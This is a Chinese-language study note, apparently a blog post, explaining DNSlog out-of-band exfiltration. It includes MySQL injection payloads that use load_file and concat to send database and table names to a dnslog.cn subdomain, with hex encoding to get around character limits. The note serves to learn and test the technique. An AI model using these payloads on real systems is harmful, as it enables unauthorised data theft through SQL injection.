最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。
DNS
DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。
DNSlog
DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录
DNSlog外带原理
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。
在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下
注入主要用到了Load_file
函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)
使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器
通过load_file函数,读取一下
select load_file('D:/1.txt')
由于在通过load_file
外带时是无法执行sql语句的,所以要通过concat
函数,将执行的sql语句,与DNS请求的url进行拼接
select concat('Sentiment','\\',(select database()));
通过DNSlog外带数据库信息
select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));
外带表名
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
剩下的就是sql注入常规操作了,就不一一列举了
通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性
select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));